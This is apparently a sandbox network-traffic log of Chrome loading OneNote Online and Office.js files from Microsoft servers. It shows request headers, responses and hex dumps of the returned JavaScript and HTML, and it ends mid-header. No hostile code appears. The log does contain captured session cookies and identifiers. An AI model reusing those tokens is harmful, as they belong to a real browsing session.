2024-10-25 08:19:25 UTC	607	OUT	GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:25 UTC	4534	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 484b8043-92e4-40a1-bfe7-d4d1ec2b8f49 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C8B X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C8B X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: C3133334EEF04863B8DB3678E45CAF4A Ref B: DFW311000110035 Ref C: 2024-10-25T08:19:25Z Date: Fri, 25 Oct 2024 08:19:24 GMT Connection: close
2024-10-25 08:19:25 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50043	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:25 UTC	539	OUT	GET /oa/WacOauth.aspx/LogLoadScriptResult HTTP/1.1 Host: oauth.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:25 UTC	2006	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 3805 Content-Type: text/html; charset=utf-8 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS11-ARRAffinity=c6cb8b4854aa0202ba8a408a84a86651e943d5c46b8ad5689408196193846c95;Path=/;Domain=oauth.officeapps.live.com; samesite=none; secure; partitioned; httponly X-CorrelationId: 9ee1ae63-ba16-4099-9486-de0662dc7fb0 X-UserSessionId: 9ee1ae63-ba16-4099-9486-de0662dc7fb0 Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF00017D6C X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * Content-Security-Policy: default-src 'none'; script-src 'self' wise.public.cdn.office.net wise-backup.public.onecdn.static.microsoft ajax.aspnetcdn.com 'nonce-0bed9f76-411f-4eb9-88bc-1fa400bc1e0e'; connect-src 'self' https://login.microsoftonline.com https://login.live.com https://.access.mcas.ms https://.access.mcas-gov.ms https://browser.events.data.microsoft.com; child-src 'self' https://login.microsoftonline.com https://login.live.com https://.access.mcas.ms https://.access.mcas-gov.ms https://browser.events.data.microsoft.com; font-src 'self'; frame-src 'self' https://login.microsoftonline.com https://login.live.com https://.access.mcas.ms https://.access.mcas-gov.ms https://browser.events.data.microsoft.com; img-src https://*.online.office.com; style-src 'nonce-770ba4e6-a778-41a8-adc9-6a26020a842e'; report-uri /oa/reportcsp.ashx X-OFFICEFD: SN3PEPF00017AFC X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: DB279D18C77648A7A84F5AC5748160EF Ref B: DFW311000102051 Ref C: 2024-10-25T08:19:25Z Date: Fri, 25 Oct 2024 08:19:25 GMT Connection: close
2024-10-25 08:19:25 UTC	15	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 Data Ascii: <!DOCTYPE h
2024-10-25 08:19:25 UTC	3790	IN	Data Raw: 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 09 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 0d 0a 0d 0a 3c 2f 74 69 74 6c 65 3e 0d 0a 09 09 3c 73 74 79 6c 65 20 69 64 3d 22 73 68 61 72 65 64 61 75 74 68 73 74 79 6c 65 73 22 20 6e 6f 6e 63 65 3d 22 37 37 30 62 61 34 65 36 2d 61 37 37 38 2d 34 31 61 38 2d 61 64 63 39 2d 36 61 32 36 30 32 Data Ascii: tml PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title></title><style id="sharedauthstyles" nonce="770ba4e6-a778-41a8-adc9-6a2602

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50044	13.107.246.60	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:25 UTC	591	OUT	GET /lib/1.1/hosted/onenote-web-16.00.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.onenote.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.onenote.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:26 UTC	1473	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:25 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Wed, 23 Oct 2024 18:33:39 GMT x-ms-request-id: 9bf36d24-801e-005a-1d7b-250ee7000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.221.23.207,b=1510927122,c=g,n=US_TX_DALLAS,o=20940],[c=p,n=US_TX_DALLAS,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DALLAS&ASN=20940&Country=US&Region=TX&RequestIdentifier=0.cf17dd17.1729832042.5a0eeb12&TotalRTCDNTime=7&CompressionType=gzip&FileSize=139105"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=7, clienttt; dur=80, origin; dur=0 , cdntime; dur=80 Akamai-Cache-Status: Miss from child, RefreshHit from parent X-CDN-Bucket: 2 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20241025T081925Z-15b8d89586f2hk28h0h6zye26c00000002t00000000024k3 x-fd-int-roxy-purgeid: 66127294 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT
2024-10-25 08:19:26 UTC	14911	IN	Data Raw: 33 31 32 30 0d 0a 2f 2a 0d 0a 09 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 2a 2f 0d 0a 0d 0a 2f 2a 0d 0a 09 59 6f 75 72 20 75 73 65 20 6f 66 20 74 68 69 73 20 66 69 6c 65 20 69 73 20 67 6f 76 65 72 6e 65 64 20 62 79 20 74 68 65 20 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 66 6f 72 20 74 68 65 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 4a 61 76 61 53 63 72 69 70 74 20 28 4f 66 66 69 63 65 2e 6a 73 29 20 41 50 49 20 6c 69 62 72 61 72 79 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 66 66 69 63 65 44 65 76 2f 6f 66 66 69 63 65 2d 6a 73 2f 62 6c 6f 62 2f 72 65 6c 65 61 73 65 2f 4c 49 43 45 4e Data Ascii: 3120/Copyright (c) Microsoft Corporation. All rights reserved.//*Your use of this file is governed by the license terms for the Microsoft Office JavaScript (Office.js) API library: https://github.com/OfficeDev/office-js/blob/release/LICEN
2024-10-25 08:19:26 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 4e 6f 6e 64 65 66 61 75 6c 74 50 72 6f 70 65 72 74 69 65 73 28 65 2c 74 2c 5b 22 65 6e 75 6d 65 72 61 62 6c 65 22 5d 29 7d 2c 64 65 66 69 6e 65 4d 75 74 61 62 6c 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 4e 6f 6e 64 65 66 61 75 6c 74 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 6e 2c 5b 22 77 72 69 74 61 62 6c 65 22 2c 22 65 6e 75 6d 65 72 61 62 6c 65 22 2c 22 63 6f 6e 66 69 67 75 72 61 62 6c 65 22 5d 29 7d 2c 64 65 66 69 6e 65 4d 75 74 61 62 6c 65 50 72 6f 70 65 72 74 69 65 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 4f 53 46 2e 4f 55 Data Ascii: tion(e,t){return OSF.OUtil.defineNondefaultProperties(e,t,["enumerable"])},defineMutableProperty:function(e,t,n){return OSF.OUtil.defineNondefaultProperty(e,t,n,["writable","enumerable","configurable"])},defineMutableProperties:function(e,t){return OSF.OU
2024-10-25 08:19:26 UTC	16384	IN	Data Raw: 22 41 73 79 6e 63 52 65 73 75 6c 74 53 74 61 74 75 73 22 7d 2c 4f 53 46 2e 44 44 41 2e 45 76 65 6e 74 44 65 73 63 72 69 70 74 6f 72 73 3d 7b 7d 2c 4f 53 46 2e 44 44 41 2e 4c 69 73 74 44 65 73 63 72 69 70 74 6f 72 73 3d 7b 7d 2c 4f 53 46 2e 44 44 41 2e 55 49 3d 7b 7d 2c 4f 53 46 2e 44 44 41 2e 67 65 74 58 64 6d 45 76 65 6e 74 4e 61 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 57 65 62 45 78 74 65 6e 73 69 6f 6e 2e 45 76 65 6e 74 54 79 70 65 2e 42 69 6e 64 69 6e 67 53 65 6c 65 63 74 69 6f 6e 43 68 61 6e 67 65 64 7c 7c 74 3d 3d 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 57 65 62 45 78 74 65 6e 73 69 6f 6e 2e 45 76 65 6e 74 54 79 70 65 2e 42 69 6e 64 69 6e 67 44 61 Data Ascii: "AsyncResultStatus"},OSF.DDA.EventDescriptors={},OSF.DDA.ListDescriptors={},OSF.DDA.UI={},OSF.DDA.getXdmEventName=function(e,t){return t==Microsoft.Office.WebExtension.EventType.BindingSelectionChanged\|\|t==Microsoft.Office.WebExtension.EventType.BindingDa
2024-10-25 08:19:26 UTC	16384	IN	Data Raw: 61 6d 65 3a 74 2e 4c 5f 53 70 65 63 69 66 69 65 64 49 64 4e 6f 74 45 78 69 73 74 2c 6d 65 73 73 61 67 65 3a 74 2e 4c 5f 53 70 65 63 69 66 69 65 64 49 64 4e 6f 74 45 78 69 73 74 7d 2c 65 5b 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 43 6f 64 65 4d 61 6e 61 67 65 72 2e 65 72 72 6f 72 43 6f 64 65 73 2e 6f 6f 65 4e 61 76 4f 75 74 4f 66 42 6f 75 6e 64 5d 3d 7b 6e 61 6d 65 3a 74 2e 4c 5f 4e 61 76 4f 75 74 4f 66 42 6f 75 6e 64 2c 6d 65 73 73 61 67 65 3a 74 2e 4c 5f 4e 61 76 4f 75 74 4f 66 42 6f 75 6e 64 7d 2c 65 5b 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 43 6f 64 65 4d 61 6e 61 67 65 72 2e 65 72 72 6f 72 43 6f 64 65 73 2e 6f 6f 65 43 65 6c 6c 44 61 74 61 41 6d 6f 75 6e 74 42 65 79 6f 6e 64 4c 69 6d 69 74 73 5d 3d 7b 6e 61 6d 65 3a 74 2e 4c 5f 44 61 74 61 57 72 69 74 Data Ascii: ame:t.L_SpecifiedIdNotExist,message:t.L_SpecifiedIdNotExist},e[OSF.DDA.ErrorCodeManager.errorCodes.ooeNavOutOfBound]={name:t.L_NavOutOfBound,message:t.L_NavOutOfBound},e[OSF.DDA.ErrorCodeManager.errorCodes.ooeCellDataAmountBeyondLimits]={name:t.L_DataWrit
2024-10-25 08:19:26 UTC	16384	IN	Data Raw: 74 65 6e 73 69 6f 6e 4c 69 66 65 43 79 63 6c 65 26 26 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 45 6e 75 6d 65 72 61 62 6c 65 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 65 78 74 65 6e 73 69 6f 6e 4c 69 66 65 43 79 63 6c 65 22 2c 7b 76 61 6c 75 65 3a 65 2e 65 78 74 65 6e 73 69 6f 6e 4c 69 66 65 43 79 63 6c 65 7d 29 2c 65 2e 6d 65 73 73 61 67 69 6e 67 26 26 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 45 6e 75 6d 65 72 61 62 6c 65 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 6d 65 73 73 61 67 69 6e 67 22 2c 7b 76 61 6c 75 65 3a 65 2e 6d 65 73 73 61 67 69 6e 67 7d 29 2c 65 2e 75 69 26 26 65 2e 75 69 2e 74 61 73 6b 50 61 6e 65 41 63 74 69 6f 6e 26 26 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 45 6e 75 6d 65 72 61 62 6c 65 50 72 6f 70 65 72 74 Data Ascii: tensionLifeCycle&&OSF.OUtil.defineEnumerableProperty(this,"extensionLifeCycle",{value:e.extensionLifeCycle}),e.messaging&&OSF.OUtil.defineEnumerableProperty(this,"messaging",{value:e.messaging}),e.ui&&e.ui.taskPaneAction&&OSF.OUtil.defineEnumerablePropert
2024-10-25 08:19:26 UTC	16384	IN	Data Raw: 69 73 70 69 64 44 65 6c 65 74 65 44 61 74 61 50 61 72 74 4d 65 74 68 6f 64 2c 47 65 74 4e 6f 64 65 56 61 6c 75 65 41 73 79 6e 63 3a 6f 2e 64 69 73 70 69 64 47 65 74 44 61 74 61 4e 6f 64 65 56 61 6c 75 65 4d 65 74 68 6f 64 2c 47 65 74 4e 6f 64 65 58 6d 6c 41 73 79 6e 63 3a 6f 2e 64 69 73 70 69 64 47 65 74 44 61 74 61 4e 6f 64 65 58 6d 6c 4d 65 74 68 6f 64 2c 47 65 74 52 65 6c 61 74 69 76 65 4e 6f 64 65 73 41 73 79 6e 63 3a 6f 2e 64 69 73 70 69 64 47 65 74 44 61 74 61 4e 6f 64 65 73 4d 65 74 68 6f 64 2c 53 65 74 4e 6f 64 65 56 61 6c 75 65 41 73 79 6e 63 3a 6f 2e 64 69 73 70 69 64 53 65 74 44 61 74 61 4e 6f 64 65 56 61 6c 75 65 4d 65 74 68 6f 64 2c 53 65 74 4e 6f 64 65 58 6d 6c 41 73 79 6e 63 3a 6f 2e 64 69 73 70 69 64 53 65 74 44 61 74 61 4e 6f 64 65 58 6d Data Ascii: ispidDeleteDataPartMethod,GetNodeValueAsync:o.dispidGetDataNodeValueMethod,GetNodeXmlAsync:o.dispidGetDataNodeXmlMethod,GetRelativeNodesAsync:o.dispidGetDataNodesMethod,SetNodeValueAsync:o.dispidSetDataNodeValueMethod,SetNodeXmlAsync:o.dispidSetDataNodeXm
2024-10-25 08:19:26 UTC	16384	IN	Data Raw: 74 29 2c 21 6e 2e 70 72 6f 74 6f 63 6f 6c 29 74 68 72 6f 77 22 66 61 6c 6c 62 61 63 6b 22 3b 69 66 28 22 68 74 74 70 73 3a 22 21 3d 3d 6e 2e 70 72 6f 74 6f 63 6f 6c 29 72 65 74 75 72 6e 7d 63 61 74 63 68 28 6e 29 7b 74 72 79 7b 76 61 72 20 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 69 66 28 72 2e 68 72 65 66 3d 65 2c 22 68 74 74 70 73 3a 22 21 3d 3d 72 2e 70 72 6f 74 6f 63 6f 6c 29 72 65 74 75 72 6e 3b 76 61 72 20 6f 3d 65 2e 6d 61 74 63 68 28 6e 65 77 20 52 65 67 45 78 70 28 22 5e 68 74 74 70 73 3a 2f 2f 5b 5e 2f 3f 23 5d 2b 22 2c 22 69 22 29 29 2c 69 3d 6f 26 26 31 3d 3d 6f 2e 6c 65 6e 67 74 68 3f 6f 5b 30 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 22 22 2c 61 3d 28 72 2e 70 72 6f 74 6f 63 6f 6c 2b 22 Data Ascii: t),!n.protocol)throw"fallback";if("https:"!==n.protocol)return}catch(n){try{var r=document.createElement("a");if(r.href=e,"https:"!==r.protocol)return;var o=e.match(new RegExp("^https://[^/?#]+","i")),i=o&&1==o.length?o[0].toLowerCase():"",a=(r.protocol+"
2024-10-25 08:19:26 UTC	16384	IN	Data Raw: 65 2e 43 6f 6d 6d 6f 6e 2e 58 64 6d 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 4d 61 6e 61 67 65 72 2e 5f 73 74 61 72 74 4d 65 74 68 6f 64 54 69 6d 65 6f 75 74 54 69 6d 65 72 28 29 7d 63 61 74 63 68 28 65 29 7b 74 72 79 7b 6e 75 6c 6c 21 3d 3d 74 26 26 74 28 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 6f 6e 2e 49 6e 76 6f 6b 65 52 65 73 75 6c 74 43 6f 64 65 2e 65 72 72 6f 72 49 6e 52 65 71 75 65 73 74 2c 65 29 7d 66 69 6e 61 6c 6c 79 7b 64 65 6c 65 74 65 20 74 68 69 73 2e 5f 63 61 6c 6c 62 61 63 6b 4c 69 73 74 5b 6f 5d 7d 7d 66 69 6e 61 6c 6c 79 7b 64 65 6c 65 74 65 20 74 68 69 73 2e 5f 65 76 65 6e 74 48 61 6e 64 6c 65 72 4c 69 73 74 5b 65 5d 7d 7d 7d 2c 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 6f 6e 2e 58 64 6d 43 6f Data Ascii: e.Common.XdmCommunicationManager._startMethodTimeoutTimer()}catch(e){try{null!==t&&t(Microsoft.Office.Common.InvokeResultCode.errorInRequest,e)}finally{delete this._callbackList[o]}}finally{delete this._eventHandlerList[e]}}},Microsoft.Office.Common.XdmCo
2024-10-25 08:19:26 UTC	16384	IN	Data Raw: 69 65 64 3a 72 3d 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 43 6f 64 65 4d 61 6e 61 67 65 72 2e 65 72 72 6f 72 43 6f 64 65 73 2e 6f 6f 65 4e 6f 43 61 70 61 62 69 6c 69 74 79 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 72 3d 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 43 6f 64 65 4d 61 6e 61 67 65 72 2e 65 72 72 6f 72 43 6f 64 65 73 2e 6f 6f 65 49 6e 74 65 72 6e 61 6c 45 72 72 6f 72 7d 65 2e 6f 6e 43 6f 6d 70 6c 65 74 65 26 26 65 2e 6f 6e 43 6f 6d 70 6c 65 74 65 28 72 2c 6e 29 7d 29 2c 65 2e 68 6f 73 74 43 61 6c 6c 41 72 67 73 29 7d 2c 4f 53 46 2e 44 44 41 2e 57 41 43 2e 44 65 6c 65 67 61 74 65 2e 5f 67 65 74 4f 6e 41 66 74 65 72 52 65 67 69 73 74 65 72 45 76 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 28 6e 65 77 20 44 61 74 65 29 2e Data Ascii: ied:r=OSF.DDA.ErrorCodeManager.errorCodes.ooeNoCapability;break;default:r=OSF.DDA.ErrorCodeManager.errorCodes.ooeInternalError}e.onComplete&&e.onComplete(r,n)}),e.hostCallArgs)},OSF.DDA.WAC.Delegate._getOnAfterRegisterEvent=function(e,t){var n=(new Date).
2024-10-25 08:19:26 UTC	16384	IN	Data Raw: 2c 65 2e 61 64 64 4f 72 52 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 46 6f 72 57 69 6e 64 6f 77 28 21 30 29 7d 63 61 74 63 68 28 65 29 7b 74 68 72 6f 77 20 4f 53 46 2e 41 70 70 54 65 6c 65 6d 65 74 72 79 26 26 4f 53 46 2e 41 70 70 54 65 6c 65 6d 65 74 72 79 2e 6c 6f 67 41 70 70 45 78 63 65 70 74 69 6f 6e 28 22 45 78 63 65 70 74 69 6f 6e 20 74 68 72 6f 77 6e 20 69 6e 20 73 65 74 41 67 61 76 65 48 6f 73 74 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 2e 20 45 78 63 65 70 74 69 6f 6e 3a 5b 22 2b 65 2b 22 5d 22 29 2c 65 7d 7d 2c 4f 53 46 2e 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 48 65 6c 70 65 72 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 4f 72 52 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 46 6f 72 57 69 6e 64 6f 77 3d 66 75 6e 63 74 Data Ascii: ,e.addOrRemoveEventListenersForWindow(!0)}catch(e){throw OSF.AppTelemetry&&OSF.AppTelemetry.logAppException("Exception thrown in setAgaveHostCommunication. Exception:["+e+"]"),e}},OSF.InitializationHelper.prototype.addOrRemoveEventListenersForWindow=funct

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50045	13.107.246.60	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:25 UTC	594	OUT	GET /lib/1.1/hosted/en-us/office_strings.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.onenote.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.onenote.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:26 UTC	1545	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:26 GMT Content-Type: application/javascript Content-Length: 21179 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Wed, 23 Oct 2024 18:33:46 GMT x-ms-request-id: d6886e85-f01e-0050-3bb4-25aa50000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=104.93.21.68,b=2433527298,c=g,n=US_TX_DALLAS,o=20940],[c=p,n=US_TX_DALLAS,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DALLAS&ASN=20940&Country=US&Region=TX&RequestIdentifier=0.44155d68.1729844366.910cae02&TotalRTCDNTime=10&CompressionType=gzip&FileSize=5655"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=10, clienttt; dur=4, 